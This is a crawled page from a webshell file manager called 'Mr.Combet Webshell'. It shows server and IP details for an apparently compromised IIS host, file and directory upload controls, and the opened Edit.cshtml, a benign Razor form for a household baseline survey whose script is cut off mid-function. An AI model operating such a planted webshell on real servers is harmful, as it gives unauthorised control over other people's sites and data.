Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
map
/
Views
/
Baseline
/
Edit File Name :
Edit.cshtml
@model RER_Project.DataAccess.ViewModels.Baseline.BaselineViewModel <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-8"> <ol class="breadcrumb"> <li class="active"> <strong>Add Baseline</strong> </li> </ol> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b>Create </b></label> <ul class="nav nav-tabs" id="myTab"> <li class="tab-pane active"><a href="#tab1" data-toggle="tab">Basic</a></li> <li class="tab-pane"><a href="#tab2" data-toggle="tab" class="disabledTab">Income</a></li> <li class="tab-pane"><a href="#tab3" data-toggle="tab" class="disabledTab">Expense</a></li> <li class="tab-pane"><a href="#tab4" data-toggle="tab" class="disabledTab">Family Details</a></li> <li class="tab-pane"><a href="#tab5" data-toggle="tab" class="disabledTab">Assets</a></li> </ul> <hr /> <div class="tab-content"> @* Basic *@ <div class="tab-pane active" id="tab1"> <form id="CreateBaseline_Main"> <div id="eror_msg"></div> <input type="hidden" name="GroupId" value="@Model.MemberDetailView.GroupId" /> <input type="hidden" name="MemberMId" value="@Model.Baseline.MemberMId" /> <input type="hidden" name="MId" value="@Model.Baseline.MId" /> <input type="hidden" id="BaselineDateNepali" name="BaselineDateNepali" /> <input type="hidden" id="BaselineDate" name="BaselineDate" /> <input type="hidden" name="Id" id="baselineId" value="@Model.Baseline.Id" /> <div class="row"> <div class="form-group col-md-2"> <label><strong>Fiscal Year </strong></label> @{ var fiscalYear = Model.Baseline.FiscalYearId.ToString(); } @if (Model.Baseline.FiscalYearId == 0) { fiscalYear = ""; } <select type="text" class="form-control required" name="FiscalYearId" id="FiscalYearId" data-api-selected-value="@fiscalYear" required data-api="/fiscal_year_unlocked/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>MemberId</strong></label> <input type="text" class="form-control" value="@Model.MemberDetailView.Id" disabled required /> <input type="hidden" name="MemberId" value="@Model.MemberDetailView.Id" required /> </div> <div class="form-group col-md-6"> <label><strong>Date</strong></label> <input type="text" class=" form-control required" id="baselineDatePicker" required /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Province</strong></label> <select type="text" class="form-control required" id="ProvinceId" required data-api="/province/select/threeStates" data-api-selected-value="@Model.MemberDetailView.ProvinceId" disabled=""></select> <input type="hidden" name="ProvinceId" value="@Model.MemberDetailView.ProvinceId" /> </div> <div class="form-group col-md-6"> <label><strong>Corridor</strong></label> <select type="text" class="form-control required" name="Corridor" id="Corridor" data-api-selected-value="@Model.Baseline.Corridor" required data-api="/corridor/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6" id="district-group"> <label><strong>District</strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" required data-api="/districts/select" data-api-selected-value="@Model.MemberDetailView.DistrictId" disabled=""></select> @*<input type="hidden" name="DistrictId" value="@Model.MemberDetailView.DistrictId" />*@ </div> <div class="form-group col-md-6"> <label><strong>Palika</strong></label> <select type="text" class="form-control required" id="MunicipalityId" required data-api="/municipality/select" data-api-selected-value="@Model.MemberDetailView.MunicipalityId" disabled readonly></select> <input type="hidden" name="MunicipalityId" value="@Model.MemberDetailView.MunicipalityId" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Respondent Name</strong></label> <input type="text" class="form-control required" id="RespondentName" name="RespondentName" value="@Model.Baseline.RespondentName" required /> </div> <div class="form-group col-md-6"> <label><strong>Phone Number</strong></label> <input type="text" oninput="validity.valid||(value='');" pattern="\d*" class="form-control required" value="@Model.Baseline.PhoneNo" required id="PhoneNo" name="PhoneNo" maxlength="10" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Relation to HH Head</strong></label> <select type="text" class="form-control required" name="RelationToHouseholdHead" required id="RelationToHouseholdHead" data-api-selected-value="@Model.Baseline.RelationToHouseholdHead" data-api="/relation-with-household-head/select"></select> </div> <div class="form-group col-md-6"> <label><strong>Project Group Name</strong></label> <input type="text" class="form-control required" id="ProjectGroupName" required value="@Model.MemberDetailView.GroupName" disabled /> <input type="hidden" class="form-control required" name="ProjectGroupName" required value="@Model.MemberDetailView.GroupName" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Household Number</strong></label> <input type="text" class="form-control" id="HouseholdNo" value="@Model.MemberDetailView.Id" disabled required /> <input type="hidden" name="HouseholdNo" value="@Model.MemberDetailView.Id" required /> </div> <div class="form-group col-md-6"> <label><strong>Gps Location</strong></label> <input type="text" class="form-control" id="GpsLocation" name="GpsLocation" value="@Model.Baseline.GpsLocation" required /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Co-operative Name (if any)</strong></label> <input type="text" class="form-control" name="CooperativeName" id="CooperativeName" value="@Model.Baseline.CooperativeName" /> </div> <div class="form-group col-md-6"> <label><strong>Cluster Name</strong></label> <input type="text" class="form-control required" id="ClusterName" name="ClusterName" value="@Model.Baseline.ClusterName" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Ward No</strong></label> <input type="text" maxlength="2" class="form-control" name="" id="WardNo" value="@Model.MemberDetailView.WardNo" disabled /> <input type="hidden" maxlength="2" name="WardNo" value="@Model.MemberDetailView.WardNo" /> </div> <div class="form-group col-md-6"> <label><strong>Citizenship No.</strong></label> <input type="text" class="form-control required" id="NationalityNo" name="NationalityNo" value="@Model.Baseline.NationalityNo" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Migration Status</strong> </label> <select type="text" class="form-control required" name="MigrationStatusId" id="MigrationStatusId" data-api-selected-value="@Model.Baseline.MigrationStatusId" data-api="/migration-status/select"></select> </div> <div class="form-group col-md-3"> <label><strong>Knowledge On Insurance @Model.Baseline.KnowledgeOnInsurance</strong></label> <select type="text" class="form-control required" name="KnowledgeOnInsurance" data-api-selected-value="@Model.Baseline.KnowledgeOnInsurance" id="KnowledgeOnInsurance" data-api="/status/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-2 pull-right"> <input type="button" value="Save" class="btn btn-primary" name="SubmitBasicBaseline" id="SubmitBasicBaseline" /><span> </span> <a href="/groups" class="btn btn-default">Back</a> </div> </div> </form> </div> @* Income Related *@ <div class="tab-pane" id="tab2"> <br /> <form id="CreateIncome"> <input type="hidden" class="form-control " name="CollectionDate" id="collectionDate" /> <input type="hidden" class="form-control" name="CollectionDateNepali" id="collectionDateNepali" /> <div id="eror_msg"></div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Collection Date</strong></label> @*<input type="date" class="form-control required" name="CollectionDate" id="CollectionDate" />*@ <input type="text" class="form-control required" id="collectionDateNepaliDatePicker" /> </div> <div class="form-group col-md-2"> <label><strong>Commodity</strong></label> <select type="text" class="form-control required" id="CommodityIncome" data-api="/commodity/select" data-api-selected-value="@Model.MemberDetailView.Commodity" disabled></select> </div> <div class="form-group col-md-2"> <label><strong>Name</strong></label> <select type="text" class="form-control required" name="CategoryId" id="CategoryIdIncome" data-api="/commodity_subtype/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Harvesting Production Quantity</strong></label> <input type="number" min="0" oninput="validity.valid||(value='');" step="0.0001" class="form-control required" name="HarvestingProductionQuantity" id="HarvestingProductionQuantity" /> </div> <div class="form-group col-md-2"> <label><strong>Consumption Quantity</strong></label> <input type="number" min="0" oninput="validity.valid||(value='');" step="0.0001" class="form-control required" name="ConsumptionQuantity" id="ConsumptionQuantity" /> </div> <div class="form-group col-md-2"> <label><strong>Loss Quantity</strong></label> <input type="number" min="0" oninput="validity.valid||(value='');" step="0.0001" class="form-control required" name="LossQuantity" id="LossQuantity" /> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Sales Quantity</strong></label> <input type="number" class="form-control required" name="SalesQuantity" id="SalesQuantity" /> </div> <div class="form-group col-md-2"> <label><strong> Unit</strong></label> <select type="text" class="form-control required" id="IncomeUnit" data-api="/income_quantity_unit/select"></select> </div> <div class="form-group col-md-2"> <label><strong>Investment</strong></label> <input type="number" class="form-control required" name="Investment" id="Investment" /> </div> <div class="form-group col-md-2"> <label><strong>Total Sales Amount</strong></label> <input type="number" class="form-control required" name="TotalSalesAmount" id="TotalSalesAmount" /> </div> <div class="form-group col-md-2"> <label><strong>Point Of Selling (POS)</strong></label> <input type="text" class="form-control required" name="PointOfSelling" id="PointOfSelling" /> </div> <div class="form-group col-md-2"> <label><strong>Traders Name</strong></label> <select type="text" class="form-control required" id="TradersName" data-api="/traders/select"></select> </div> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-primary btn-xl" id="btnAssets" onclick="addIncome()" title="Add"> <i class="fa fa-plus"></i> </a> </div> </div> </form> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblIncome" id="tblIncome"> <thead> <tr> <th>Collection Date</th> <th>Commodity</th> <th>Name</th> <th>Harvesting Production Quantity</th> <th>Consumption Quantity</th> <th>Loss Quantity</th> <th>Sales Quantity</th> <th>Unit</th> <th>Investment</th> <th>Total Sales Amount</th> <th>POS</th> <th>Traders Name</th> <th>Action</th> </tr> </thead> <tbody id="tblBaselineIncomeBody"> </tbody> </table> </div> <div class="row"> <div class="pull-left"> <a class="btn btn-primary btnPrevious">Previous</a> <a class="btn btn-primary btnNext">Next</a> </div> </div> @*<div class="row"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitIncome" /> <a href="/groups" class="btn btn-default">Back</a> </div> </div>*@ </div> @* Income End Tab *@ @* Expense Related *@ <div class="tab-pane" id="tab3"> <form id="CreateExpenses"> <input type="hidden" class="form-control" name="ExpenseDate" id="expenseDate" /> <input type="hidden" class="form-control" name="ExpenseDateNepali" id="expenseDateNepali" /> <div id="eror_msg"></div> <div class="row"> <div class="form-group col-md-2"> <label>Fiscal Year</label> <select type="text" class="form-control required" name="FiscalYear" id="FiscalYearExpense" data-api="/fiscal_year/select"></select> </div> <div class="form-group col-md-2"> <label>Quadrimester</label> <select type="text" class="form-control required" name="Quadtrimester" id="QuadtrimesterExpense" data-api="/quadtrimester/select"></select> </div> <div class="form-group col-md-2"> <label>Commodity</label> <select type="text" class="form-control required" name="Commodity" id="CommodityExpense" data-api="/commodity/select" data-api-selected-value="@Model.MemberDetailView.Commodity" disabled></select> </div> <div class="form-group col-md-2"> <label>Category</label> <select type="text" class="form-control required" name="Category" id="CategoryExpense" data-api="/commodity_subtype/select"></select> </div> <div class="form-group col-md-2"> <label>Expense Head</label> <select type="text" class="form-control required" name="ExpenseHead" id="ExpenseHead" data-api="/expense-head/select"></select> </div> <div class="form-group col-md-2"> <label>Unit</label> <select type="text" class="form-control required" name="Unit" id="Unit" data-api="/unit/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label>Expense Amount</label> <input type="number" class="required form-control" id="ExpenseAmount" name="ExpenseAmount" /> </div> <div class="form-group col-md-2"> <label>Expense Date</label> <input type="text" class="required form-control" id="expenseDateNepaliDatePicker" /> </div> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-primary btn-xl" id="btnExpenses" onclick="addExpenses()" title="Add"> <i class="fa fa-plus"></i> </a> </div> </div> <a class="btn btn-primary btnPrevious">Previous</a> <a class="btn btn-primary btnNext">Next</a> </form> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblExpenses" id="tblExpenses"> <thead> <tr> <th>Fiscal Year</th> <th>Quadrimester</th> <th>Commodity</th> <th>Category</th> <th>Expense Head</th> <th>Unit</th> <th>Expense Amount</th> <th>Expense Date</th> <th>Expense Date (BS)</th> <th> Action</th> </tr> </thead> <tbody> @foreach (var item in Model.BaselineExpenses) { <tr> <td> <input type=hidden name='GroupId' value=@Model.Baseline.GroupId /> <input type=hidden name='BaselineId' value=@Model.Baseline.Id /> <input type=hidden name='MemberId' value=@Model.Baseline.MemberId /> <input type=hidden name='FiscalYear' value=@item.FiscalYear /> @item.FiscalYear </td> <td>@item.Quadtrimester</td> @*<td> <input type=hidden name='Commodity' value=@item.Commodity /> @item.CommodityTypeName </td> <td> <input type=hidden name='Category' value=@item.Category /> @item.CategoryName </td> <td> <input type=hidden name='Category' value=@item.ExpenseHead /> @item.ExpenseHeadNepali (@item.ExpenseHeadEnglish) </td>*@ <td>@item.Unit</td> <td>@item.ExpenseAmount</td> @* <td>@item.ExpenseDate.Date.ToShortDateString()</td>*@ <td>@item.ExpenseDateNepali.ToString()</td> <td></td> </tr> } </tbody> </table> </div> @*<div class="row"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitExpenses" /> <a href="/groups" class="btn btn-default">Back</a> </div> </div>*@ </div> @* Family Diary *@ <div class="tab-pane" id="tab4"> <br /> <form id="CreateIntervention"> <div class="row"> <div class="form-group col-md-2"> <label><strong>First Name</strong></label> <input type="text" class=" form-control" id="FirstName" name="FirstName" required /> </div> <div class="form-group col-md-2"> <label><strong>Last Name</strong></label> <input type="text" class=" form-control" id="LastName" name="LastName" required /> </div> <div class="form-group col-md-2"> <label><strong>Relationship To HouseholdHead</strong></label> <select type="text" class="form-control " name="RelationshipToHouseholdHead" id="RelationshipToHouseholdHead" data-api="/relation-with-household-head/select" required></select> </div> <div class="form-group col-md-2"> <label><strong>Age</strong></label> <input type="number" class=" form-control digit" id="Age" name="Age" maxlength="2" required /> </div> <div class="form-group col-md-2"> <label><strong>Gender</strong></label> <select type="text" class="form-control" name="Gender" id="Gender" data-api="/genders/select" required></select> </div> <div class="form-group col-md-2"> <label><strong>Education Status</strong></label> <select type="text" class="form-control " name="EducationStatus" id="EducationStatus" data-api="/education-status/select" required></select> </div> </div> <div class="row"> <div class="form-group col-md-2"> <label><strong>Occupation</strong></label> <select type="text" class=" form-control" id="Occupation" name="OccupationId" data-api="/occupations/select" required></select> </div> <div class="form-group col-md-2"> <label><strong>Foreign Employment</strong></label> <select type="text" class=" form-control" id="ForeignEmployment" name="ForeignEmployment" data-api="/foreign-employment-status/select" required></select> </div> <div class="form-group col-md-2"> <label><strong>Income</strong></label> <input type="number" class=" form-control" id="Income" name="Income" required /> </div> <div class="form-group col-md-2"> <label><strong>Saving</strong></label> <input type="number" class=" form-control" id="Saving" name="Saving" required /> </div> <div class="form-group col-md-2"> <label><strong>Bank Name</strong></label> <select type="text" class="form-control " name="Bank" id="BankName" data-api="/banks/select"></select> </div> <div class="form-group col-md-2 hidden"> <label>Service</label> <select type="text" class=" form-control" id="Service" name="Service" data-api="/service_type/select"></select> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label><strong>Remarks</strong></label> <input type="text" class=" form-control" id="Remarks" name="Remarks" /> </div> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-primary btn-xl" id="btnAdd" onclick="addIntervention()" title="Add"> <i class="fa fa-plus"></i> </a> </div> </div> </form> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblIntervention" id="tblIntervention"> <thead> <tr> <th>FirstName</th> <th>LastName</th> <th>RelationshipToHouseholdHead</th> <th>Age</th> <th>Gender</th> <th>Education Status</th> <th>Occupation</th> <th>Foreign Employment</th> <th>Income</th> <th>Saving</th> <th>Bank Name</th> <th>Service</th> <th>Remarks</th> <th>Action</th> </tr> </thead> <tbody id="tblInterventionBody"> </tbody> </table> <a class="btn btn-primary btnNext">Next</a> </div> @*<div class="row"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitIntervention" /> <a href="/groups" class="btn btn-default">Back</a> </div> </div>*@ </div> @* Assets *@ <div class="tab-pane" id="tab5"> <br /> <form id="CreateAssets"> <div class="row"> <div class="form-group col-md-2"> <label><strong>Assets Type</strong></label> <select type="text" class="form-control " name="AssetsId" id="AssetsId" data-api="/assetstype/select" required></select> </div> <div class="form-group col-md-2"> <label><strong>Unit</strong> </label> <select type="text" class="form-control " name="UnitId" id="UnitId" data-api="/unit/asset" required></select> </div> <div class="form-group col-md-2"> <label><strong>Quantity</strong></label> <input type="number" class=" form-control" id="Quantity" name="Quantity" required /> </div> <div class="form-group col-md-2"> <label for="Price"><strong>Price</strong></label> <input type="number" class=" form-control" id="Price" name="Price" required /> </div> <div class="form-group col-md-2"> <label for="Ownership"><strong>OwnerShip Self</strong></label> <select type="text" class="form-control " name="OwnershipSelfId" id="OwnershipSelfId" data-api="/ownership_self/select" required></select> </div> <div class="form-group col-md-2"> <label for="Loan"><strong>Loan</strong></label> <input type="number" class=" form-control" id="Loan" name="Loan" required /> </div> <div class="form-group col-md-2"> <label class="align-label-btm"> </label> <a class="btn btn-primary btn-xl" id="btnAssets" onclick="addAssets()" title="Add"> <i class="fa fa-plus"></i> </a> </div> </div> </form> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblAssets" id="tblAssets"> <thead> <tr> <th>Assets Type</th> <th>Unit</th> <th>Quantity</th> <th>Price</th> <th>Ownership Self</th> <th>Loan</th> <th>Action</th> </tr> </thead> <tbody id="tblAssetsBody"> </tbody> </table> </div> </div> <div class="row" id="exceptTab1"> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitOtherTabBaseline" /> <a href="/groups" class="btn btn-default">Back</a> </div> </div> </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script> $(document).ready(function () { //var activeTab = $(".tab-content").find(".active"); //var id = activeTab.attr('id'); //if (id === 'tab1') { // $("#exceptTab1").hide(); //} window.initializeSelectApis(); window.initializeCascadeLocation(); window.initializeCasecadeAssetsWiseUnits(); window.initializeCommodityWiseCommoditySubTypeForIncome(); window.initializeCommodityWiseCommoditySubTypeForExpense(); //window.initializeCommodityWiseExpenseHead(); initializeDatePicker(); displayTabs(); //var activeTab = $(".tab-content").find(".active"); // var id = activeTab.attr('id'); // if (id === 'tab1') { // $("#exceptTab1").hide(); // } }); //$(".tab-pane").each(function(){ //var activeTab = $(".tab-content").find(".active"); // var id = activeTab.attr('id'); // if (id === 'tab1') { // $("#exceptTab1").hide(); // } //}) function displayTabs() { $('#myTab li:nth-child(2)').hide(); $('#myTab li:nth-child(3)').hide(); $('#myTab li:nth-child(4)').hide(); $('#myTab li:nth-child(5)').hide(); // } } function initializeDatePicker() { $("#baselineDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#baselineDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#BaselineDate").val(datePickerData.adDate.toLocaleDateString()); var baselineEnglishDate = document.getElementById("BaselineDate").value; $("#BaselineDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#collectionDateNepaliDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#collectionDateNepaliDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#collectionDate").val(datePickerData.adDate.toLocaleDateString()); $("#collectionDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#expenseDateNepaliDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#expenseDateNepaliDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#expenseDate").val(datePickerData.adDate.toLocaleDateString()); $("#expenseDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) } function addAssets() { var table = $("#tblAssets tbody"); const assetType = $("#AssetsId option:selected"); const unit = $("#UnitId option:selected"); const quantity = $('#Quantity').val(); const price = $('#Price').val(); const ownershipSelfId = $('#OwnershipSelfId option:selected'); const loan = $('#Loan').val(); if (assetType.text() == '' || unit.text() == '' || quantity == '' || price == '' || ownershipSelfId.text() == '' || loan == '') { ShowMessage("error",'Required Field '); return false; } var row = "<tr>"; row += "<td>" + assetType.text() + "<input type=hidden name='AssetsId' value=" + assetType.val() + "></td>"; row += "<td>" + unit.text() + "<input type=hidden name='UnitId' value=" + unit.val() + "></td>"; row += "<td>" + quantity + "</td>"; row += "<td>" + price + "</td>"; row += "<td>" + ownershipSelfId.text() + "<input type=hidden name='OwnershipSelfId' value=" + ownershipSelfId.val() + "></td>"; row += "<td>" + loan + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAssets(); } function addIntervention() { var table = $("#tblIntervention tbody"); const firstName = $('#FirstName').val(); const lastName = $('#LastName').val(); const relationshipToHouseholdHead = $('#RelationshipToHouseholdHead option:selected'); const age = $('#Age').val(); const gender = $('#Gender').val(); const educationStatus = $('#EducationStatus').val(); const occupation =$('#Occupation option:selected'); const foreignEmployee = $('#ForeignEmployment option:selected'); const income = $('#Income').val(); const saving = $('#Saving').val(); const bank =$('#BankName option:selected'); const service =$('#Service option:selected'); const remarks = $('#Remarks').val(); if (firstName == '' || lastName == '' || relationshipToHouseholdHead == '' || age == '' || occupation == '') { ShowMessage("error",'Required Field '); return false; } var row = "<tr>"; row += "<td>" + "<input type=hidden name='GroupId' value=" + @Model.MemberDetailView.GroupId +">" + "<input type=hidden name='MemberId' value=" + @Model.MemberDetailView.Id + ">" + firstName+ "</td>"; row += "<td>" + lastName + "</td>"; row += "<td>" + relationshipToHouseholdHead.text() + "<input type=hidden name='RelationshipToHouseholdHead' value=" + relationshipToHouseholdHead.val() + "></td>"; row += "<td>" + age + "</td>"; row += "<td>" + gender + "</td>"; row += "<td>" + educationStatus + "</td>"; row += "<td>" + occupation.text() + "<input type=hidden name='OccupationId' value=" + occupation.val() + "></td>"; row += "<td>" + foreignEmployee.text() + "<input type=hidden name='ForeignEmploymentId' value=" + foreignEmployee.val() + "></td>"; row += "<td>" + income + "</td>"; row += "<td>" + saving + "</td>"; row += "<td>" + bank.text() + "<input type=hidden name='BankId' value=" + bank.val() + "></td>"; row += "<td>" + service.text() + "<input type=hidden name='ServiceTypeId' value=" + service.val() + "></td>"; row += "<td>" + remarks + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); debugger; //clearIntervention(); }; function addExpenses() { var tableExpenses = $("#tblExpenses tbody"); const fiscalYear = $("#FiscalYearExpense option:selected"); const expensesForm = $("#CreateExpenses"); const quadTrimester = $("#QuadtrimesterExpense option:selected"); const commodity = $("#CommodityExpense option:selected"); const category = $("#CategoryExpense option:selected"); const expenseHead = $("#ExpenseHead option:selected"); const unit = $("#Unit option:selected"); $.validator.unobtrusive.parse(expensesForm); if (!expensesForm.valid()) { return false; } const expensesModel = window.serializeForm(expensesForm); var row = "<tr>"; row += "<td>" + "<input type=hidden name='GroupId' value=" + @Model.Baseline.GroupId +">" + "<input type=hidden name='BaselineId' value=" + @Model.Baseline.Id +">" + "<input type=hidden name='MemberId' value=" + @Model.Baseline.MemberId +">" + "<input type=hidden name='FiscalYear' value=" + fiscalYear.text() + ">" + fiscalYear.text() + "</td>"; row += "<td>" + quadTrimester.text() + "</td>"; row += "<td>" + commodity.text() + "<input type=hidden name='Commodity' value=" + commodity.val() + "></td>"; row += "<td>" + category.text() + "<input type=hidden name='Category' value=" + category.val() + "></td>"; row += "<td>" + expenseHead.text() + "<input type=hidden name='ExpenseHead' value=" + expenseHead.val() + "></td>"; row += "<td>" + unit.text() + "</td>"; row += "<td>" + expensesModel.ExpenseAmount + "</td>"; row += "<td>" + expensesModel.ExpenseDate + "</td>"; row += "<td>" + expensesModel.ExpenseDateNepali + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" tableExpenses.append(row); } function addIncome() { var tableIncome = $("#tblIncome tbody"); const fiscalYear = $("#FiscalYearIncome option:selected"); const commodity = $("#CommodityIncome option:selected"); const category = $("#CategoryIdIncome option:selected"); const incomeForm = $("#CreateIncome"); const incomeUnit = $("#IncomeUnit option:selected"); const traders = $("#TradersName option:selected"); // const name = $("#Name option:selected"); $.validator.unobtrusive.parse(incomeForm); if (!incomeForm.valid()) { return false; } const incomeModel = window.serializeForm(incomeForm); //var harvest = parseInt(incomeModel.HarvestingProductionQuantity); //var consum = parseInt(incomeModel.ConsumptionQuantity); //var sales = parsetInt(incomeModel.SalesQuantity); //var loss = parseInt(incomeModel.LossQuantity) //alert(incomeModel.HarvestingProductionQuantity); //alert(consum + sales + loss) //if (harvest != (consum + sales + loss)) { // ShowMessage("error", "Sum of Comsumption Quantity , SalesQuantity,LossQuantity should be equal to harvesting quantity"); //} var row = "<tr>"; row += "<td>" + "<input type=hidden name='GroupId' value=" + @Model.Baseline.GroupId +">" + "<input type=hidden name='BaselineId' value=" + @Model.Baseline.Id +">" + "<input type=hidden name='MemberId' value=" + @Model.Baseline.MemberId +">" + incomeModel.CollectionDateNepali + "</td>"; row += "<td>" + "<input type=hidden name='CommodityIncome' value=" + commodity.val() + ">" + commodity.text() + "</td>"; row += "<td>" + "<input type=hidden name='CategoryId' value=" + category.val() + ">" + category.text() + "</td>"; row += "<td>" + incomeModel.HarvestingProductionQuantity + "</td>"; row += "<td>" + incomeModel.ConsumptionQuantity + "</td>"; row += "<td>" + incomeModel.LossQuantity + "</td>"; row += "<td>" + incomeModel.SalesQuantity + "</td>"; row += "<td>" + "<input type=hidden name='IncomeUnit' value=" + incomeUnit.val() + ">" + incomeUnit.text() + "</td>"; row += "<td>" + incomeModel.Investment + "</td>"; row += "<td>" + incomeModel.TotalSalesAmount + "</td>"; row += "<td>" + incomeModel.PointOfSelling + "</td>"; row += "<td>" + "<input type=hidden name='TradersName' value=" + traders.val() + ">" + traders.text() + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" tableIncome.append(row); // clearAllIncome(); } function clearIntervention() { $("#FirstName").val(''); $('#LastName').val(''); $('#RelationshipToHouseholdHead').val(''); $('#Age').val(''); $('#Gender').val(''); $('#EducationStatus').val(''); $('#Occupation').val(''); $('#ForeignEmployment').val(''); $('#Income').val(''); $('#Saving').val(''); $('#BankName').val(''); $('#Service').val(''); $('#Remarks').val(''); } function clearAssets() { $('#AssetsId').val(''); $('#UnitId').val(''); $('#Quantity').val(''); $('#Price').val(); $('#OwnershipSelfId').val(''); $('#Loan').val(''); } $('.btnNext').click(function () { $('.nav-tabs > .active').next('li').find('a').trigger('click'); }); $('.btnPrevious').click(function () { $('.nav-tabs > .active').prev('li').find('a').trigger('click'); }); $("#SubmitBasicBaseline").off("click").on("click", function () { function request(model) { const url = "/baseline/basic/create"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateBaseline_Main"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); var allFormData = window.serializeForm(form); debugger; function getModel() { return ({ BaselineBeneficiaryInfoVM: getBaseLineBeneficiaryInfo() }); } function getBaseLineBeneficiaryInfo() { var baseLineBeneficiaryInfoVM = {}; baseLineBeneficiaryInfoVM.FiscalYearId = allFormData.FiscalYearId; baseLineBeneficiaryInfoVM.GroupId = allFormData.GroupId; baseLineBeneficiaryInfoVM.BaselineDateNepali = allFormData.BaselineDateNepali; baseLineBeneficiaryInfoVM.BaselineDate = allFormData.BaselineDate; baseLineBeneficiaryInfoVM.MemberId = allFormData.MemberId; baseLineBeneficiaryInfoVM.ProvinceId = allFormData.ProvinceId; baseLineBeneficiaryInfoVM.Corridor = allFormData.Corridor; baseLineBeneficiaryInfoVM.DistrictId = allFormData.DistrictId; baseLineBeneficiaryInfoVM.MunicipalityId = allFormData.MunicipalityId; baseLineBeneficiaryInfoVM.RespondentName = allFormData.RespondentName; baseLineBeneficiaryInfoVM.PhoneNo = allFormData.PhoneNo; baseLineBeneficiaryInfoVM.RelationToHouseholdHead = allFormData.RelationToHouseholdHead; baseLineBeneficiaryInfoVM.ProjectGroupName = allFormData.ProjectGroupName; baseLineBeneficiaryInfoVM.HouseholdNo = allFormData.HouseholdNo; baseLineBeneficiaryInfoVM.GpsLocation = allFormData.GpsLocation; baseLineBeneficiaryInfoVM.CooperativeName = allFormData.CooperativeName; baseLineBeneficiaryInfoVM.ClusterName = allFormData.ClusterName; baseLineBeneficiaryInfoVM.WardNo = allFormData.WardNo; baseLineBeneficiaryInfoVM.NationalityNo = allFormData.NationalityNo; baseLineBeneficiaryInfoVM.MigrationStatusId = allFormData.MigrationStatusId; baseLineBeneficiaryInfoVM.KnowledgeOnInsurance = allFormData.KnowledgeOnInsurance; return baseLineBeneficiaryInfoVM; } const model = getModel(); const ajax = request(model); ajax.done(function (response) { console.log(response); WorkForce.loader.hide(); showNotification("success"); showAllTabs(response); //window.location = "/groups"; }); function showAllTabs(response) { $('#myTab li:nth-child(2)').show(); $('#myTab li:nth-child(3)').show(); $('#myTab li:nth-child(4)').show(); $('#myTab li:nth-child(5)').show(); document.getElementById('baselineId').value = response; } ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) $("#SubmitOtherTabBaseline").off("click").on("click", function () { function request(model) { const url = 